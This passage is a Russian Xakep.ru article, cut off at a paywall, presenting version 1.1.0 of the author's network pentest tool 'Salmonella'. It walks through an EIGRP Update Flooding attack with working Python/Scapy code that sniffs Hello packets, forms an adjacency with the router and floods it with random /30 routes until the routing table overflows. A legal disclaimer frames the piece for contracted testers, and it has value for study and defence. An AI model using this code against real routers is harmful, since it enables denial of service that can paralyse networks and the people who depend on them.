Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
От форм и кнопок — к argparse
Если ты читал мою предыдущую статью, то наверняка в курсе моей задумки: написать собственный инструмент для пентеста сетей. Я был в особенности движим идеей красивого и user-friendly графического интерфейса. Однако, признаюсь честно, для меня это оказалось довольно трудной задачей: навыков дизайна GUI у меня нет.
Да, в предыдущей статье я демонстрировал прототип с интерфейсом на библиотеке CustomTkinter для Python, но, обнаружив в нем множество ошибок, я решил отказаться от графической оболочки в пользу консольного приложения. Возможно, в будущем я вернусь к идее оконного приложения.
Запуск атак в текущей реализации организован через argparse, где сперва указывается тип атаки, а затем — характерные для нее параметры:
sudo python3 salmonella.py <ТИП_АТАКИ> [ПАРАМЕТРЫ]
Таким образом, хотя графический интерфейс и был удален, базовая логика работы Salmonella осталась прежней. Все функциональные возможности сохранены, но теперь они доступны через консоль, а не через кнопки и ползунки.
Ну и конечно же, заглядывай на мой GitHub за исходниками.
Первый взгляд
В версии 1.1.0 реализованы 13 атак на различные протоколы. Давай посмотрим, как это работает. Чтобы начать работу с Salmonella, достаточно установить необходимые зависимости, перечисленные в README, и выполнить
python salmonella.py
или
python salmonella.py --help
Перед тобой в таблице будут выведены типы атак и их краткое описание. Формулировки в скобках столбца Description описывают конечный результат успешного выполнения атаки.
Думаю, ты обратил внимание на пометки ( напротив некоторых типов атак. Если ты подумал, что смысл таких атак в отправке огромного количества пакетов/запросов, то спешу тебя поправить. Пометки ( я добавил, чтобы ты понимал результат успешного проведения атаки, то есть отказ в обслуживании.
Приведу пример. Допустим, ты реализовал атаку ARP Spoofing. Для жертвы и сети в целом ничего не поменялось, кроме того, что трафик теперь ходит через злоумышленника. А вот успешная реализация, к примеру, EIGRP Abusing K-values приведет к постоянным флаппингам между соседними маршрутизаторами EIGRP и, как следствие, параличу сети.
То есть пометка ( маркирует атаки, которые при успешном исполнении парализуют нормальную работу сегмента или всей сети в целом.
Для просмотра доступных параметров той или иной атаки выполни
python salmonella.py <ТИП_АТАКИ> -hлибо
python salmonella.py <ТИП_АТАКИ> --help
Здесь ты в такой же табличной форме получишь список всех доступных параметров с кратким описанием для проведения конкретной атаки, а также два‑три примера использования.
Обрати внимание на пометку ( напротив некоторых параметров — она означает, что этот параметр обязателен к заполнению.
Ну а теперь давай по очереди разберем новинки в обновленной версии Salmonella!
EIGRP Update Flooding
О протоколе EIGRP я рассказывал в своих предыдущих статьях, повторяться не буду. Название EIGRP Update Flooding говорит само за себя — атакующий вызывает лавинную рассылку сообщений EIGRP Update, что приводит к наполнению (или переполнению, в зависимости от объема и частоты отправки) ложными маршрутами таблицы маршрутизации. Поэтому эту атаку еще справедливо называют EIGRP Routing Table Overflow. Инъекция огромного количества маршрутов плохо сказывается на производительности, так как EIGRP попросту не рассчитан на такое количество маршрутов.
Давай я сразу покажу, как я реализовал атаку на переполнение таблицы маршрутизации в Salmonella. Запуск атаки от тебя не требует ничего, кроме как указания сетевого интерфейса (да и это по желанию).

После запуска идет поиск EIGRP-роутеров в сети. Если таковые найдены — информация о них выводится тебе в консоль, после чего запускается процесс установки соседства и флуд Update-сообщениями новому соседу.

Давай посмотрим, что происходит под капотом. Запускается сниффер, который захватывает пакеты EIGRP Hello и анализирует их. Это нужно для того, чтобы ты сам не искал EIGRP-роутеры и не запоминал, какие у них там автономные системы, коэффициенты и прочие параметры.
Захватив Hello-пакет, скрипт сохраняет в локальные переменные IP и MAC-адрес соседнего роутера, номер автономной системы, коэффициенты, hold-таймер, а также определяет, есть ли аутентификация (пока не реализована), и устанавливает флаг eigrp_hello_captured , если пакет Hello захвачен и на соседнем маршрутизаторе не включена аутентификация:
def analyze_packet(packet): if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 5: # Если это EIGRP Hello if packet.haslayer(EIGRPAuthData): auth = True auth_type = packet[EIGRPAuthData].authtype auth_data = packet[EIGRPAuthData].authdata key_id = packet[EIGRPAuthData].keyid if auth_type == 2: output_auth = f" {Fore.RED}MD5 (Temporarily unsupported){Fore.RESET}" elif auth_type == 3: output_auth = f" {Fore.RED}SHA2-256 (Temporarily unsupported){Fore.RESET}" else: auth = False output_auth = "None" eigrp_hello_captured = True # Захвачен target_mac = (packet[Ether].src).upper() target_ip = packet[IP].src autonomous_system = packet[EIGRP].asn k1 = packet[EIGRPParam].k1 k2 = packet[EIGRPParam].k2 k3 = packet[EIGRPParam].k3 k4 = packet[EIGRPParam].k4 k5 = packet[EIGRPParam].k5 hold_time = packet[EIGRPParam].holdtimesniffer = AsyncSniffer(filter="ip proto 88", iface=interface, prn=analyze_packet, store=0, timeout=20, count=1) # Ждем захвата EIGRP-пакета и анализируем егоsniffer.start()Возможно, ты задашь справедливый вопрос: почему захватываю именно Hello? Потому что именно в Hello-сообщении содержатся K-коэффициенты, столь важные для установления смежности между роутерами. Ведь если захватить, например, сообщение Update, то скрипт просто‑напросто не сможет извлечь значения коэффициентов, так как их просто там нет, что приведет к ошибке.
Сниффер работает 20 с, после чего захват прекращается и, если ни одного EIGRP Hello не было захвачено, выводится соответствующее сообщение. В противном случае запускаются функции для непрерывной отправки ACK-, Hello- и, самое главное, Update-сообщений:
# Если не найден ни один EIGRP-роутерif eigrp_hello_captured == False: print(Fore.RED + f" [-] %ERROR: No EIGRP routers detected (attack aborted)")# Если есть аутентификацияelif auth == True: print(Fore.RED + f"\n [-] %ERROR: EIGRP router uses authentication (attack aborted)")# Если найден — запускаем Hello, Update и ACK-процессыelse: Thread(target=send_eigrp_hello, daemon=False).start() Thread(target=send_eigrp_ack, daemon=False).start() Thread(target=send_eigrp_update, daemon=False).start()Функция отправки сообщений Hello (для поддержания состояния смежности/соседства):
# Отправка EIGRP Hello соседнему роутеру каждые 5 сdef send_eigrp_hello(): while True: hello_packet = (Ether(src="00:25:2e:01:ab:3c", dst="01:00:5e:00:00:0a") / IP(dst="224.0.0.10", ttl=1) / EIGRP(opcode=5, asn=autonomous_system) / EIGRPParam(holdtime=hold_time, k1=k1, k2=k2, k3=k3, k4=k4, k5=k5)) sendp(hello_packet, iface=interface, verbose=False) time.sleep(5)Функция для отправки ACK-подтверждений на обновления соседа, которые он нам обязательно будет слать (функция необязательная, но я решил добавить, чтобы сосед успокоился и не спамил обновлениями):
# Отправка EIGRP ACK на обновления соседаdef send_eigrp_ack(): def analyze_update(packet): if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 1: seq_of_neighbor = packet[EIGRP].seq target_mac = packet[Ether].src target_ip = packet[IP].src ack_for_update = (Ether(src="00:25:2e:01:ab:3c", dst=target_mac) / IP(dst=target_ip, ttl=1) / EIGRP(opcode=5, asn=autonomous_system, ack=seq_of_neighbor)) sendp(ack_for_update, iface=interface, count=1, verbose=False) sniffer = AsyncSniffer(filter="ip proto 88", iface=interface, prn=analyze_update, store=0) sniffer.start()Теперь подробнее расскажу про функцию флудинга сообщениями Update. Устанавливаем счетчик (для отчета) и отправляем первый и единственный пакет Update.
total = 0init_packet = (Ether(src="00:25:2e:01:ab:3c", dst=target_mac) / IP(dst=target_ip, ttl=1) / EIGRP(opcode=1, asn=autonomous_system, seq=seq, flags=1))sendp(init_packet, iface=interface, count=1, verbose=False)Да, я не ошибся, только один Update-пакет... с флагом Init. Согласно RFC 7868 флаг Init (flags=1) отправляется недавно обнаруженному роутеру EIGRP, который объявляет начало процесса обмена маршрутами. Если в дальнейшем отправить EIGRP Update с флагом Init, это даст соседу сигнал обнулить таблицу маршрутизации и начать процесс заново. Поэтому устанавливаем флаг Init только в начале.
Формируем ложные маршруты:
networks = [".".join(str(random.randint(1, 254)) for _ in range(3)) + "." + str(random.randrange(0, 253, 4)) for _ in range(16)]Здесь очень важный момент. Я формирую максимально маленькие адреса сетей — первые три октета рандомные, а четвертый октет получает кратное 4 значение, чтобы использовать 30-й префикс. Таких сетей я формирую 16 штук (можно и больше, но пока тестирую 16 сетей в одном Update-сообщении).
Формируем собственно сам пакет EIGRP Update:
prefix = 30next_hop = "0.0.0.0"# Создание базового пакетаupdate_packet = (Ether(src="00:25:2e:01:ab:3c", dst=target_mac) / IP(dst=target_ip, ttl=1) / EIGRP(opcode=1, asn=autonomous_system, seq=seq, flags=8))Кстати, теперь и в следующих Update-сообщениях я ставлю флаг End Of Table (flags=8). Через цикл присоединяю сформированные ранее маршруты к EIGRP-пакету и отправляю его:
# Добавление маршрутов через циклfor network in networks: update_packet /= EIGRPIntRoute(nexthop=next_hop, dst=network, prefixlen=prefix)sendp(update_packet, iface=interface, count=1, verbose=False)А теперь снова формируем новые 16 сетей по 30-му префиксу и отправляем через 0,5 с и так в бесконечном цикле:
total += 1time.sleep(0.5)print(Fore.GREEN + f" [+] EIGRP Updates: {total} packets sent, ~{total * 16} routes advertised", end="\r")Итак, что мы получаем? Каждую секунду мы отправляем около 32 маршрутов. Много это или мало? Возможно, этого мало, тогда я увеличу количество маршрутов в одном Update-сообщении. Пока оставлю на стадии тестирования.
Давай проверим, что в итоге происходит в таблице маршрутизации, и посмотрим статистику по маршрутам.


За несколько минут в таблице маршрутизации набралось почти 50 тысяч маршрутов EIGRP.
OSPF Hello Flooding
Ни для кого не секрет, что OSPF — самый популярный протокол динамической маршрутизации. Баланс между мощной функциональностью, высокой скоростью, надежностью и открытостью сделал OSPF золотым стандартом среди протоколов внутренней маршрутизации и обеспечил ему лидирующие позиции в мире сетевых технологий. А сейчас я продемонстрирую первую реализацию вектора атаки на OSPF в Salmonella. Но прежде кратко пробежимся по теории и стандарту RFC.
Речь, как и в случае с предыдущей атакой, тоже пойдет про флудинг, но уже не Update-пакетами, а Hello. В прошлой статье я уже рассказывал про EIGRP Hello Flooding. Здесь то же самое, но уже в контексте OSPF. Цель атаки — переполнить таблицу соседей OSPF.
Раз уж у нас Hello-флудинг, то давай на сегодня ограничимся рассмотрением только Hello-пакета OSPF плюс самого заголовка OSPF, так как он используется всегда. На данный момент в Salmonella реализована поддержка OSPF Hello Flooding для второй версии протокола OSPF (RFC 2328).
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
